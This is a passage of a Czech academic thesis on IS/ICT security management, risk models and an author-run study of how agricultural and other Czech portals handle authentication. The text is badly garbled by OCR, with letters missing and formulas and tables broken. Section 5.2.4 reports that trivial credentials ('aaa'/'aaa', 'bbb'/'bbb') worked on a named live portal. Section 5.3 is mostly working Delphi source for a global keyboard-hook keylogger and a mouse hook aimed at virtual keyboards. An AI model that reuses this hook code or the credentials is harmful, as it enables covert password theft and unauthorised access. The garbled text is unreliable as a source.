Vhodnou pomckou pi identifikaci aktiv je vhodné uspadani identifikovanych aktiv
do skupin. Aktiva s obdobnymi bezpmstnimi parametry jsou tsinou vystavena podobnym
rizik m. Seskupeni aktiv zjednoduSuje dalSi postup bemamnjSich ztrat informaniho
rozsahu. (Otto, 2010)

Pro ka dé aktivum lze stanovit zranitelnost a dopadejv tSim problémem je
stanoveni hodnoty aktiva Jako piklad |ze uvést pevny disk v piba i — poizovaci cena
tohoto (hmotného) aktiva se pohybuje adu tisic a desetitisic korun. Hodnota
nehmotnych aktiv (dat) na m ulo enych m e mit hodnotu nevyislitelnou. (Doucek, a
dalsi, 2008), (Pour, 2006)

4.8.2. Vliv aktiv na zajiSt ni bezpenosti IS/ICT

Bezpenost IS/ICT ma za ukol chranit ta aktiva, kteraujssouasti informaniho
systému firmy podporovaného inforrmami a komunikanimi technologiemi. Na

nésledujicim schématu jsou zobrazeny hrozlsppici na firemni aktiva.
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Zranitelnostost
Hrozby
Aktiva
P irodni a fyzické > Hmotna
Technické
vybaveni
Technické a , Nehmotna
Opateni )
Pracovni
postupy
Lidské Gmysiné > Data
Programoveé
vybaven
Lidské neumysiné
Do

v

Obrazek 14 Schéma zajiSini bezpe nosti IS/ICT (Doucek, a dalsi, 2008)

Hrozba je akce nebo udalost, ktera m ohrozit bezpenost. Hrozba je (pokus 0)

zneu iti zranitelnosti.
4.8.3. Metodiky a normy

P edpokladem proizeni informatiky je podpora ve fornstandard, zkuSenosti nebo
metodik. V této kapitole budou popsany dwetodiky, které jsou obecrzam ené a krom
izeni bezpenosti se zabyvaji i dalSimi oblastmizeni informatiky organizaci. Jsou to
celosvtov pou ivané metodiky COBIT a ITIL.

/1<+0

Metodika COBIT (Control Objectives for Informatioand Related Technology) je
tvo ena sadou procesnavod pro hodnoceni, ukazated nejlepSich praktickych zkuSenosti,
ktera ma za cil pomoci organizaci maximalizovat teki plynouci z informanich
technologii.(Doucek, a dalsi, 2008)

Nejobecnjsi Urovni podrobnosti jsou definice domén

Planovani a organizace
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Akvizice a implementace
Dodavka a podpora
Sledovani a hodnoceni

V ramci ka dé domény jsou spravovany procesy, hnkady m e nabyvat Sesti

arovni zralosti proces
Neexistujici — proces zcela chybi, organizace ngoh&bu se jim zabyvat
Po ate ni — organizace citi pabu procesu
Opakovatelny — organizace proces pou iva, ale i@mpetenci jednotlivc a neni
formaln prezentovan a Skolen
Definovany — pracovni postupy jsou standardizovéokumentovany a Skoleny

izeny — proces je mo né monitorovat a iy porovnavat soulad s postupy

Optimalizovany — proces je vylepSovdn na uaroveejlepSich zkuSenosti, je
automatizovan

S r stem zralosti procesklesa riziko.

+0+@

Cilem metodiky ITIL (Information Technology Infrastture Library) je poskytnout
uceleny soubor tzv. nejlepsSich zkuSenosti pro bbiasni slu eb IT a souvisejicich proces
(Doucek, a dalSi, 2008), (Bucksteeg, a dalsi, 2012)

Metodiky ITIL v posledni verzi V3 definuje 5 knilB(icksteeg, a dalsi, 2012)
Strategie slueb — gdstavuje propojeni aktivit organizace se strategiblasti
informatiky
Navrh slu eb — obsahuje navrh slu eb a inform#éo systému v organizaci v celém
ivotnim cyklu, v etn outsourcingu
Implementace slu eb — zahrnuje navody na implen@mta provozu, izeni verzi
Provoz slueb — podporuje spravu sluebeSeni problém poruch, stanoveni
ukazatel jakosti
Pr b né zlepSovani slu eb — pomaha zlepSovat zavedeaistugici slu by

? +2/3+4 ABCCADACCE

Zakladnim vychodiskem systémizeni rizik by mla byt norma ISO/IEC 27002:2005
(d ive ISO/IEC 17799). Obsahuje tzv. nejlepsi zkusen@=eni bezpenosti informaci (best
practices). Doporweni normy obsahuje 133 bezpestnich opaeni, ktera jsou rozdena do
11 oblasti.

Bezpe nostni politika
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Organizace bezpaosti — upesn ni struktury proizeni bezpenosti uvnit organizace
izeni aktiv — udr ovani ghledu o existujicich aktivech a jejichimpp ena ochrana,
stanoveni odpownych osob
Bezpenost z hlediska lidskych zdroj
Fyzicka bezpenost a bezpeanost prostedi
izeni komunikaci aizeni provozu
izeni pistupu
Akvizice, vyvoj a udr ba informanich systém
Zvladani bezpenostnich incident
izeni kontinuity innosti organizace

Soulad s po adavky
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V této kapitole byly uvedeny itnejpou ivanjSi metodiky a normy, které pomahaji
organizaci p budovani systémuizeni rizik. Jedna se o podpé prostedky, které maji
pomoci pi rozhodovani.

Vpr bhu asu se jednotlivé metodiky a normy vzajemmnan pibliily a
organizace by si nfa zvolit, kterd pinasi nejvtsi u itek. Naklady na zavedeni, aleepé n
ro ni naklady na udr bu se pohybuji adu stovek tisic Kna stovky poita ro n . Jedna se
o naklady na zanstnance udr ujici aktualni data a naklady na lieescftware pro podporu
metodik.

Naklady na samotnou certifikaci ISO/IEC 27002:2(i% opt v adu stovek tisic K

4.8.4. Management bezpenostnich proces

0% ' *
Na nejni §i Urovni managementu bezpestnich procesjsou jednotlivé hodnocené
metriky bezpenosti, které sloui k analyze a zhodnoceni bempstnich proces Tyto
metriky vSak nesmi byt chapany izolovaale jsou souast druhé arovn— projekt m eni
bezpenosti.
' % $ b
Projekty izeni bezpenosti rozdluji bezpenost do jednotlivych oblasti, které mohou
byt nezavisle izeny. Vytvai se dokumentace pro metriky s ohledem na znovufshoiost
(reusability).
E " -
Ob vySe uvedené arovrvstupuji (viz Obrazek 15) do oblasti programu plepSovani
bezpenosti. (Hayden, 2010)
Vysledkem je neustélé zvySovani beapesti v ase. Rozdeni problematiky do vice

arovni umo uje nezavisléizeni samotného meni, planovani a rozhodovani.
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Obrazek 15 Management bezpeaostnich proces (Hayden, 2010)

4.8.5. Analyza a izeni rizik

Provedeni vlastni analyzy rizik je mo né rozliSagde podrobnosti a hloubkyigtup k
jejimu eSeni: (Smejkal, a dalSi, 2010)

ned lat nic
neformalni pistup - analyza rizik probiha ivelrbez dokumentace postup
z&kladni pistup - postupy jsou rdmcowdokumentovany a organizace ma celkovou
koncepci a vizieSeni bezp@osti informaci
detailni pistup - vSechna rizika jsou analyzovana podragbodle pedem definované
a dodr ované metodiky
p istup kombinovany - rktera rizika jsou analyzovana podrobm ktera jsou p
analyze zanrn opominuta

? 1
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Nejd le it jSim vychodiskem pro nakladovy model je oaan aktiv a stanoveni
maximalnich naklad na realizaci opagni na jejich ochranu. Vztahy mezi hodnotou aktiva,
resp. mezi ztratou vzniklou vipad jeho znieni nebo poskozeni a naklady na realizaci

ochrany aktiva formou opa&ni jsou uvedeny na Obrazek 16.(Doucek, a daldg)20

"#  $%

& #'()*
-
™~

1 %'$
2 I"#

=

\>

% -%."1) /%
C 0 $I$ ¢
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Obrazek 16 Nakladovy model realizace bezpaosti (zdroj: autor)

Nevyhodou nékladového modelu je jeho problematig&a iti pro nehmotna aktiva
(nap. informace v informanich systémech), u kterych by nebylo ekonomicky méo
vynalo it prostedky na jejich ochranu a do vyse jejich hodnotyd&, 1999)

= 7@ '

Gordon-Loebv model byl popsan v roce 2002. Jednim z vyznammwyjsitedk , které
pou iti tohoto modelu pnasi, je fakt, e firmy utrati za bezpsostni opaeni nejvysSe 37%
o0 ekavané ztraty (Gordon, a dalsi, 2002).

1
—ro ni finan ni ztrata

t — pravd podobnost ohro eni (threat) v rozsahu <0;1>

v — zranitelnost (vulnerability) v rozsau <0;1>

vt — o0 ekavana ztrata

L=t

Z — investice do zabezpmi (finanni ve stejnych jednotkach jakd
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Funkce S(z,v) pedstavuje pravgodobnost naruSeni bezpesti a ma nasledujici
vlastnosti:
S(z,0)=0 (pi nulové zranitelnosti je stejrchranno pro vSechna z)
S(0,v)=v (pi nulovych investicich do zabezpmmi je pravdpodobnost naruseni
bezpenosti rovna zranitelnosti)

Prvni derivace podle z $z,v)<0 (funkce je klesajici), S{z,v)>0

Funkce EBIS — cekavany pinos investice do zabezpmni (Expected Benefits of and

investment in information security) ma nasledujieir:
EBIS(z)=[v-S(z,v)]-L (1)
Po odeteni investic do zabezpenizlze vy islit isty p inos jako
ENBIS(z)=[v-S(z,V)] -L-z (2)

Vzhledem k tomu, e funkce S(z,v) je konvexni, Iprh funkce ENBIS je konkavni pro

ka dé z. Optimalni Uroveinvesticz* je znazornna na Obrazek 17 a je dana rovnici
-SAz*v)*L=1 (3)

Obrazek 17 Optimalni vySe investic do zabezpeni (Gordon, a dalsi, 2002)

Auto i modelu dli funkce S(z,v) do dvouid — tida | a tida I, které se liSi pb hem
pravd podobnostni funkce S(z,v)
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Obrazek 18 O ekavana ztrata v zavislosti na zranitelnosti, tida | (Gordon, a dalSi, 2002)

Pro tidu | je typicky linearni pro h (Obrazek 18). V ppad nulovych investic do
zabezpeeni pi zranitelnosti 1 je oekavana ztrata rovna L. S rostoucimi investicemi se

nejvyssi oekavana ztrata sni uje.

Obrazek 19 Optimalni Grove investic do zabezpeeni v zavislosti na zranitelnosti, tida | (Gordon,
a dalsi, 2002)

Na Obrazek 19 je znazom pr b h funkce pro optimdlni Uroveinvestic. Hranice
nulovych investic je dana parametry>0 a >1, které stanovuji mitka produktivity

informa ni bezpenosti.

Podle funkce Sidy Il plati, e o ekavana ztrata roste nelineampodob konvexni

funkce. Pro tuto funkci jsou fpustné nizké darovninvestic do zabezpeni pi vysoke
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zranitelnosti — tedy situace, kdy je systém natdianitelny, e nema smysl do jeho

zabezpeeni investovat.

Obrazek 20 O ekavana ztrata v zavislosti na zranitelnosti, tida 1l (Gordon, a dalsi, 2002)

Obrazek 21 Optimalni Urove investic do zabezpesni v zavislosti na zranitelnosti, tida Il
(Gordon, a dalsi, 2002)
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5. Vyb rautentiza ni slu by

Tato kapitola je vnovana vybru vhodné autentizai slu by, ktera bude spbvat
naroky na bezp@&ou autentizaci. Tyto naroky jsou popsany v kapifall.

V ramci této kapitoly bude také provedena analyaaipanych autentizenich nastroj
u vybranych portalv. R a mo né Gtoky na zpsob autentizace pou ity v¢hto portélech.
DalSi kapitoly se wnuji mo nym autentizanim mechanisnm pro zvySeni bezpaosti
Z hlediska implementace do portaAutentizani slu by budou porovnany dle charakteristik
jakosti.

Tato kapitola je vysledkem vlastniho vyzkumu autdvaramci vybru autentizani

slu by jsou analyzovany portaly s ohledem na zakezpi jejich autentizace.
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5.1. Charakteristiky jakosti

Dle Vanika (Vaniek, 2004) Ize hodnotit jakost dle nasledujicichrakeeristik a
podcharakteristik, p em ka d& charakteristika nebo podcharakteristikanj ena pomoci
atribut rozhodujicich pro hodnoceny systém. Tyto atriméjsou nijak taxativnvymezeny
a zale i na konkrétni implementaci, jak budou vyw.iStejn tak ne vSechny charakteristiky
jsou relevantni pro zkoumany systém.

Funk nost
0 Funknipim enost
o P esnost
0 Schopnost spoluprace
o0 Bezpenost
0 Shoda ve funknosti
Bezporuchovost
0 Zralost
0 Odolnostv ivadam
0 Schopnost zotaveni

o0 Shoda v bezporuchovosti

Pou itelnost
0 Srozumitelnost
o Nau itelnost
o Provozovatelnost
0 Atraktivnost

o Shoda v pou itelnosti
U innost

0 asové chovani

o Vyuiti zdroj

0 Shoda v vinnosti
Udr ovatelnost

o Analyzovatelnost

0 M nitelnost
o Stabilnost
0

Testovatelnost
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0 Shoda v udr ovatelnosti
P enositelnost
o Pizp sobitelnost
0 Instalovatelnost
0 Slu itelnost
o Nahraditelnost
0 Shoda v penositelnosti
VySe uvedené charakteristiky jsou také smii normy ISO/IEC 9126-1:2002. Tato
norma je tvoena celkemty mi astmi, z nich pouze prvniast, ktera definuje model kvality
po ita ového programového vybaveni, je harmonizovana je&N norma. DalSit asti jsou
vydany jako technické zpravy a zatim nejsoel@peny do eStiny a harmonizovany jako
SN normy. (Doucek, a dalsi, 2013)
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5.2. Studie zabezpeeni agroportal v R

Teoretické p edpoklady

Bezpenosti pi pihlaSovani do portalovych aplikaci senuje znana pozornost.
Bohu el se zam uje pevan na bezpenost samotného hesla a jeho ulo eni. Z obecnych
po adavk na bezpenou autentizaci lze vyst nasledujici doporeni: (Greer, 1999),
(McClure, a dalsi, 2007)

1. Volit silnd hesla

Hesla pravidelnobm ovat
Hesla si nikde neukladat
Pro ka dy systém si volit jiné heslo

Udr ovat po ita a antivirovy program aktualizovany

o 0k w D

Nestahovat a neinstalovat nelegalni software
P i bli Sim zkoumani lze zjistit, e body 1-4 kladazna né naroky na pam u ivatele a
v realném ivot je takka nemo né tato pravidla poctivdodr ovat. Pravidelna znma hesla
ve spojeni s jeho slo itosti nuti u ivatele si heesi jakym zp sobem poznamenavat, co je
v rozporu s bodem 3. Uvedené naroky se zvySuji tepo systém, ke kterym u ivatel
p istupuje. Tim se stavaji protictinymi po adavky 3 a 4.

Po et systém, ke kterym uivatelé ziskaji pstup v prb hu ivota, stale narsta a
po adavky uvedené v bodech 1-4 jsou tedy témerealné. Z hlediska provozovatslystém
se jedna do znaé miry o penos odpowdnosti za nedokonaly zpob zabezpeni na
u ivatele.

Bod 5 Ize pomrn snadno dodr et p spravném nastaveni dta e a OS. Problémem
mohou byt po adavky na starSi/neaktualizované vesaftware. Tato situace ne nastat
vpipad, kdy software vyaduje ji nepodporovanou a neakimovanou softwarovou
platformu.

Jednodus$si situace se zda byt u bodu 6, kdy zateize na u ivateli, zda je ochoten
podstoupit riziko s pou ivanim nelegélniho softwakéylou it ovSem nelze také skrytou
instalaci zpsobenou nap virem nebo podvr enym e-mailem.

Vramci analyzy agrarnich portal bylo pedmtem zkoumani zabezpeni
autentizanich 0daj. Pro hodnoceni byla na zaklaénalyzy literarnich zdroj zvolena
nésledujici kritéria:

1. Systém pou iva pro fpojeni a penos Udaj zabezpeeny protokol HTTPS
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2. Systém mé zabezpen doménovy zdznam technologii DNSSEC
3. Systém umo uje vicefaktorovou autentizaci (jednorazovéa hesfmva karta)
Pro srovnani byly do hodnoceniigany také dva dominantnieské portaly —

informa ni systém datovych schranek a seznam.cz.

5.2.1. Stanoveni mr bezpe nosti

V této kapitole jsou autorem navr eny atributy nietpro bezpenou autentizaci
v informa nich systémech. Atributy vybranych metrik nejsoangtardizovany. Autor prace
navrhuje jejich hodnoceni v souladu s dostupnoerditirou. (Vaniek, 2004) , (Hayden,
2010) a (Ue , 2001).

Pro hodnoceni bezpeosti autentizace vybranych systéroyly navr eny nasledujici

atributy metriky bezpenosti:

Jméno m eného atributu| Zabezpeni spojeni

Jmeéno u ité miry Zabezpeni spojeni

U el miry Sifrované  spojeni  znesnagici  odposlech
komunikace

Metoda m eni Analyzou webové stranky

Interpretace hodnot miryy 0 — nepou iva HTTPS

50—pou ivA HTTPS s certifikdtem od nadryhodné
CA

90- pou iva HTTPS s certifikdtem od 4 ryhodné
CA bez rozSiené validace

100-pou iva HTTPS s certifikdtem od d ryhodné

CA s rozSienou validaci

Zdroj dat pro ureni miry | Webova stranka, seznam CA a informace
certifikatu od CA

Tabulka 5 Mira zabezpe eni spojeni (zdroj: autor)

Jméno m eného atributu DNSSEC

Jmeéno u ité miry DNSSEC
U el miry Mira ochrany proti podvr eni DNS zaznamu
Metoda m eni Dotaz na registr DNS

Interpretace hodnot miryy 0 — nepou iva DNSSEC
100 - pou iva DNSSEC
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Tabulka 6 Mira vyu iti DNSSEC (zdroj: autor)

Zdroj dat pro ureni miry

Registr nic.cz

Jméno m eného atributu

Vicefaktorova autentizace

Jmeéno u ité miry

Vicefaktorova autentizace

U el miry

Vyu iti vice zp sob autentizace

Vzorec pro vypoet miry

, kde X=mira vicefaktorové autentizace, n=gic
Zp sob autentizace, max(n) — nejvySsSi po

Zzp sob autentizace ve zkoumaném vzorku

Metoda m eni

Analyzou webové stranky

Interpretace hodnot miry

Mira vyu iti vicefaktoroaétentizace

Zdroj dat pro ureni miry

Webova stranka

Tabulka 7 Mira vicefaktorové autentizace (zdroj: ador)

5.2.2.eAGRI

Portal eAGRI tvoi centralni pistupovy bod k informanim zdrojm MZ R. Vzniknul

slou enim stranek mze.cz, upu.cz (stranky pozemkovyall Jia farmar.eu (Portal farmg)

a zalen nim Portalu sit pro venkov. Portal podporuje pro jednotlivé aptikatzv. SSO

(Single Sign On), tedy jednotnéilaseni do vSech sodsti.

Jednotné phlaseni je na pozadi umo no implementaci LDAP (Internet). Vm je

umo n no také zavedeni u ivatelského certifikatu.

Parametr Hodnoceni Poznamky

Adresa https://ilogin.mze.cz/distauth/Ul/Login

HTTPS Ano Od dv ryhodné CA, zabezpaje pouze identitu
DNSSEC Ne

Vicefaktorova| Ne

autentizace

Tabulka 8 Hodnoceni portalu eAGRI (zdroj: autor)

5.2.3. Portal farma e

Do portalu farmé& se u ivatel registruje adosti o igtup do registr Ministerstva

zemd Istvi.
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Pro zizeni pistupu je nutné edloit doklady potebné pro oveni toto nosti a
opravnnosti adatele.

U ivatel se prokazuje ovenim toto nosti (obansky prkaz nebo cestovni pas).

Opravnnost se prokazuje u fyzické osoby abhskym prkazem nebo cestovnim
pasem. U ostatnich pravnich subjettte pravnické formy:

Pravnicka osoba — vypisem ze zakladnich registivypisem z Obchodniho rej#tu
(OR) nebo jinym oswd enim pravni subjektivity, z kterého jeepmé, kdo je statutarnim
zastupcem spoleosti:

Pokud adatel neni statutarnim zéstupcem subjekiusi adatel odevzdat €dn
ov enou plnou moc, ktera je vystavena statutarninupéetm uvedenym v pdaném vypisu
z OR i v jiném osvd eni pravniho statutu. V plné moci musi byt adatehocnn
p istupovat k chramym datm subjektu na Portalu farmé (takté v pipad zmocnni

fyzickou osobou) a podpis zmocniteleusi byt Gedn ov en.

Parametr Hodnoceni Poznamky

Adresa https://www.szif.cz/irj/portal/pf/pf-uvod

HTTPS Ano Od dv ryhodné CA, potvrzuje identitu, rozéna
validace

DNSSEC Ne

Vicefaktorovd Ne

autentizace

Tabulka 9 Hodnoceni portalu eAGRI (zdroj: autor)
5.2.4.Internet pro chovatele

Aplikace Pistup k datm zpistup uje data chovatemm dojeného skotu, chovateh
ovci a koz, mlékarnam a mlékatym dru stv m v elektronické podob U ivatel ma
prostednictvim u ivatelského jména a heslagpup pouze k datn, ktera mu nale i.

Prostednictvim aplikace Pstup k datm Ize ziskavat vysledky rozbowzork miéka z
kontroly u itkovosti skotu, ovci i koz ve dvou fodmh a vysledky rozborvzork mléka pro
zpen ovani. P istupova prava ziska novy u ivatel prasinictvim registraniho formulae.

B hem testovani stranekipzjis ovani, kam je uivatel ggsmrovan po neusgném
testovani — zadanim u ivatelského jména ,aaa“ dahgmaa“ doslo k Usgné autentizace.
V systému tedy existoval u ivatel smito p ihlaSovacimi Udaji. Ke stejné situaci doSlo také
p i p ihldSeni pomoci u ivatele ,bbb“ a hesla ,bbb“.
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Parametr Hodnoceni Poznamky

Adresa http://data.cmsch.cz/login_data.php
HTTPS Ne
DNSSEC Ne

Vicefaktoroval Ne

autentizace

Tabulka 10 Hodnoceni portal Internet pro chovatelgzdroj: autor)
5.2.5. Agromanual.cz

Agromanudl je portal \nujici se pipravk m na ochranu rostlin jak pro zahrad&katak
pro farmée. Pi registraci, kterd probiha nezabezgmym kanalem, je uivateli zpn
zaslano zvolené heslo v otemé podob.

Portdl je Uzce svazan s Agromanualshop.cz, aleo@ systémy jsou samostatné

p ihlaSovaci udaje. Je tedy nutné se registrovatzvia

Parametr Hodnoceni Poznamky
Adresa http://www.agromanual.cz/cz/reqgistrace
HTTPS Ne Login POST na adresu

http://www.agromanual.cz/cz/prihlaseni

DNSSEC ANoO

Vicefaktoroval Ne

autentizace

Tabulka 11 Hodnoceni Agromanual.cz (zdroj: autor)
5.2.6. Agroweb.cz

Tento portadl neposkytuje mo nost registrace ahlaSeni, nebyl tedy zahrnut do

testovani.
5.2.7. Agris on-line

Portal Agris Online sloui k odesilani a recenzava@nisp vk do periodika Agris
Online. Registrace ani iblaSovani neprobiha zabezpaym pipojenim. Pi ztrat hesla si
u ivatel m e nechat vygenerovat nove,\dni neni mo né zaslat.

Parametr Hodnoceni Poznamky
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Adresa http://online.agqris.cz/index.php?idScript=9

HTTPS Ne

DNSSEC Ne

Vicefaktoroval Ne

autentizace

Tabulka 12 Hodnoceni Agris.cz (zdroj: autor)

5.2.8.Seznam.cz

Jeden z nejznansich eskych portal poskytuje velice nizké zabezpai autentizace.
P ihlaSeni je mo né pouze u ivatelskym jménem a hesl& ohledem na mno stvi u ivatel

a tedy takeé potencidlni riziko zneu ititl je zabezpeeni znan znepokoijivé.

Parametr Hodnoceni Poznamky

Adresa http://www.seznam.cz

HTTPS Ano Uvodni stranka pouze HTTP, heslo je daespes
HTTPS

DNSSEC Ne

Vicefaktorovd Ne

autentizace

Tabulka 13 Hodnoceni seznam.cz (zdroj: autor)
5.2.9. Datoveschranky.info

Datové schranky (spravinforma ni systém datovych schranek — ISDS) je provozovan
na zaklad zakona . 300/2008 Sh., o elektronickych Ukonech a autvemé konverzi
dokument. Hlavni vyhodou je zajiShi autenticity uivatel. Ta je zajiStna osobni
identifikaci pi registraci. V pipad zaslani &dosti elektronickou cestou je vy adoyupis

uznavanych certifikatem.

Parametr Hodnoceni Poznamky
Adresa http://www.mojedatovaschranka.cz
HTTPS Ano Od dv ryhodné CA, potvrzuje identitu, rozéha
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validace

DNSSEC

Ano

Vicefaktorova

autentizace

Ano

ipova karta, SMS zpravy (placené u ivatelem v c

3K za zpravu), jednordzova hesla

Tabulka 14 Hodnoceni ISDS (zdroj: autor)

5.2.10.

Shrnuti

Vysledky dle stanovenych metrik jsou shrnuty v taburabulka 15.

344+°

6&557¢ 9 %
$!

> 2

>$ 0%

51 2@

6 %/ #@$9

Tabulka 15 Hodnoceni zabezpesni autentizace portal (zdroj: autor)

Nam ené hodnoty byly zaneseny do grafu, ze kteréhoggna dominance datovych

schranek s nejvyssi Urovni zabezrd.

344+¢
m

—— ;<=
|+ 92

= %
—=> 2
—==>9%/ %

51 2@

6 %/ #@$9

X6&5578

Graf 2 Porovnani zabezpeeni portal (zdroj: autor)

Z oblasti agroportal byly hodnoceny nejlépe portaly eAGRI a Portal faen Oba

portaly pou ivaji shodnou autentizace proti LDARnaU ivaji pro zabezpeeni penosu dat
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protokol HTTPS s dv ryhodnym certifikatem. Portal farm&navic pou iva tzv. roz8nou
validaci. Ta potvrzuje nejen vlastnictvi domény tiéé&ovanym subjektem, ale zérove
potvrzuje identitu tohoto subjektu.igtupujici u ivatel tak ma jistotu, e portal paskuten
uvedené spolaosti.

Mimo agrarnich portalje nejlépe hodnocen systém datovych schraneky kteskytuje
bezpenost na vysoké udrovni. Naopak seznam.cz je hodnacélediska bezp@osti

autentizace velmi nizko.
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5.3. Utoky na autentiza ni protokoly

V ramci této kapitoly budou uvedeny které praktické pklady atok na nejb n ji

pou ivané autentizani protokoly — ov eni pomoci hesla.
5.3.1. Odposlech hesla z klavesnice pomoci software

Pro odposlech hesla existuje mnoho softwarovychkagil Navic neni nesnadné
vytvo it si vlastni systém pro zachytavani klavesnice.pidform Windows je pro potba
pouze vytvoeni jednoduché knihovny a hlavniho programu, ktgryjima udalosti
z klavesnice. V DLL knihovn je funkce, ktera je volana ipstisku klavesy. (zdroj: autor),
(Cantu, 2003), (Teixeira, a dalsi, 2002)

function GlobalKeyBoardHook(code: integer; wParam:
word; IParam: longword): longword; stdcall;
var p:String;
key:Byte;
begin
if code<0 then begin

GlobalKeyBoardHook:=CallNextHookEx(CurrentHook,code wPa
ram,lparam);
Exit;
end;
if (IParam and KF_UP)=0) then begin
key:=wParam;

case Key of
VK_RETURN : p:=[Enter];
VK_BACK . p:='[Backspace]’;
VK_ESCAPE : p:='[Esc];
VK_SHIFT . p:="[Shift]’;
VK_MENU C pi="TAI]
VK_CONTROL : p:=[Ctr];
VK_DELETE : p:='[Delete];
VK_SPACE CopiEty
VK_MULTIPLY : p:=",
VK_ADD N 0 i
VK_SUBTRACT : p:="-"
VK_DECIMAL : p:=%
VK_DIVIDE : p:=1;
VK_NUMPADO p:='0"
VK_NUMPAD1 p:="1"
VK_NUMPAD2 p:="2"
VK_NUMPAD3 p:='3"
VK_NUMPAD4 p:='4"
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VK_NUMPADS5 : p:='5)

VK_NUMPAD6 : p:='6,
VK_NUMPAD7 : p:='7,
VK_NUMPAD8 : p:='8
VK_NUMPAD9 : p:='9,
else p:=Chr(Key);

end,;

PostMesKbd(p);

end,;

CallNextHookEx(CurrentHook,code,wParam,lparam);
//call the next hook proc if there is one

GlobalKeyBoardHook:=0; //if GlobalKeyBoardHook
returns a non-zero value, the window that should ge t

/lthe keyboard message doesnt

get it.

Exit;

end,

Odeslani stisknuté klavesy je realizovano pembtictvim zpravy vybranému oknu (v

tomto pipad TForm1.:

procedure PostMesKbd(p:String);
var x:Integer;

begin

for x := 1 to length(p) do

PostMessage(FindWindow('TForm1',nil),wm_user+1,ord( p[Xx]
),0);
end;

V hlavni aplikaci pak sta pouze naist knihovnu a povolit zachytavani klavesnice

systémovou funkci SetWindowsHookEX.
if not KbdLibLoaded then begin

KbdLibHandle:=LoadLibrary(‘dis_kbhook.dIl');
if KbdLibHandle=0 then begin

exit;
end,;
KbdHookProcAdd:=GetProcAddress(KbdLibHandle,'Global KeyB
oardHook");
@SetKbdHookHandle:=GetProcAddress(KbdLibHandle,'Set Hook
Handle");
if

(KbdHookProcAdd=nil)or(@ SetKbdHookHandle=nil) then
begin //if loading fails, unload library, exit and
return false
FreeLibrary(KbdLibHandle);
exit;
end;
end,
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CurrentKbdHook:=setwindowshookex(WH_KEYBOARD,KbdHoo kPro
cAdd,KbdLibHandle,0); //install hook
SetKbdHookHandle(CurrentkKbdHook);
/l'if CurrentHook<>0 then ShowMessage('Hooked")
else ShowMessage('Not hooked');
bKBDCatch.Enabled:=false;
bKBDRelease.Enabled:=true;
Posledni asti kddu je oSetni zpravy z DLL knihovny o stisknuté klavese:

procedure GetKey(var msg:TMessage); message
wm_key;
procedure TForml.GetKey(var msg:TMEssage);
begin
mKBD.Lines.Text:=mKBD.Lines.Text+chr(msg.WParam);
end,;

5.3.2. Odposlech hesla z virtualni klavesnice

Jako ochrana proti odposlechu hesla z klavesnicly byvinuty tzv. virtualni
klavesnice. Jedna se o klavesnici na obrazovcey kdatel voli klavesy klikanim mysi. Utok
na tento zpsob autentizace je ovSem opelice jednoduchy a principalne podobny utoku
uvedenému v gdchozi kapitole — tedy odposlouchavani mysi. (zauaor), (Cantu, 2003)

Op t je nutné vytvait funkci pro zachytavani udalosti mysi.

function GlobalMouseHook(code: integer; wParam:
word; IParam:Longlnt): longword; stdcall;
var p:String;
key:Byte;
s:String;
eventStrut: TEventMsg;
mhs:TMouseHookStruct;
begin
mhs:=PMouseHookStruct(IParam)”;
Result := CallNextHookEx(CurrentHook, Code,
wParam, |IParam);
if Code < 0 then Exit;
if Code = HC_SYSMODALON then Exit;
if Code = HC_ACTION then
begin
s:="
if EventStrut.message = WM_LBUTTONUP then
s :='Left Mouse UP at X pos ' +
IntToStr(EventStrut.paramL) + "and Y pos'’
+ IntToStr(EventStrut.paramH);
if wparam = WM_LBUTTONDOWN then begin
GetWindowText(GetForegroundwWindow, Wnd2,
SizeOf(Wnd2));
if wnd1 <> wnd2 then

71



begin
PostMesMouse('WND:'+wnd2+"");
Wnd1 := Wnd2;
end;
s :='Left Mouse Down at X pos ' +
IntToStr(mhs.pt.x) + "and Y pos ' +
IntToStr(mhs.pt.y);
/[ Obrazek(mhs.pt.x-50,mhs.pt.y-
50,100,100,"_fn'+INtToStr(counter)+".jpg’);
/[ s:=s+'_fn'+IntToStr(counter)+".jpg’;
Int(counter);
end;
if wparam =WM_RBUTTONDOWN then
s := 'Right Mouse Down at X pos ' +
IntToStr(EventStrut.paramL) + "and Y pos’
+ IntToStr(EventStrut.paramH);
if (EventStrut.message = WM_RBUTTONUP) then
s := 'Right Mouse Up at X pos ' +
IntToStr(EventStrut.paramL) + "and Y pos'’
+ IntToStr(EventStrut.paramH);
if (EventStrut.message = WM_MOUSEWHEEL) then
s := 'Mouse Wheel at X pos ' +
IntToStr(EventStrut.paramL) + "and Y pos'’
+ IntToStr(EventStrut.paramH);
if (EventStrut.message = WM_MOUSEMOVE) then
s := 'Mouse Position at X:" +
IntToStr(EventStrut.paramL) + "and Y: ' +
IntToStr(EventStrut.paramH);
if s <> " then PostMesMouse(s+#13#10);
end,
end,
Dale obdobn jako v pedchozim pkladu je nutné hlavni aplikaci odeslat zpravu o

udalosti.

procedure PostMesMouse(p:String);
var x:Integer;

begin

for x := 1 to length(p) do

PostMessage(FindWindow('TForm1',nil),wm_user+2,ord( p[X]

),0);

end,
P edposlednim krokem je povoleni zachytavani mysi

if not MOuseLibLoaded then begin

MouseLibHandle:=LoadLibrary('dis_mousehook.dll');
if MouseLibHandle=0 then begin
exit;
end;
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MouseHookProcAdd:=GetProcAddress(MouseLibHandle,'Gl obal
MouseHook);

@ SetMouseHookHandle:=GetProcAddress(MouseLibHandle, 'Set
HookHandle');
if
(MouseHookProcAdd=nil)or(@SetMouseHookHandle=nil) t hen
begin
FreeLibrary(MouseLibHandle);
exit;
end,;

end:;

CurrentMouseHook:=setwindowshookex(WH_MOUSE,MouseHo okPr
ocAdd,MouseLibHandle,0);

SetMouseHookHandle(CurrentMouseHook);

if CurrentMouseHook<>0 then ShowMessage('Hooked")
else ShowMessage('Not hooked";

bMouseCatch.Enabled:=false;

bMouseRelease.Enabled:=true;

Pro ziskani Udaj o udalostech mySi sloui op oSeteni zpravy WM_MOUSE
(WM_USER+2)

procedure GetMouse(var msg:TMessage); message
WMm_Mouse;
procedure TForml.GetMouse(var msg: TMessage);
begin
mMouse.Text:=mMouse.Text+chr(msg.WParam);
end,

Jako ochrana proti zachytavani mohou byt na vinfuldllavesnici klavesy rozmisty

ndhodn. Opt je Utok na toto opatni pomrn jednoduchy — spol@ s kliknutim

zaznamendvat oblast okolo kliknuti do souboruparn sledovat okoli pohybu mysi

sekvenci snimk N které antivirové programy jsou schopné rozeznatesyg zachytavajici

klavesnici, myS nebo obrazovku a hlasi potencidnalriko. Kod pro snimek vezu

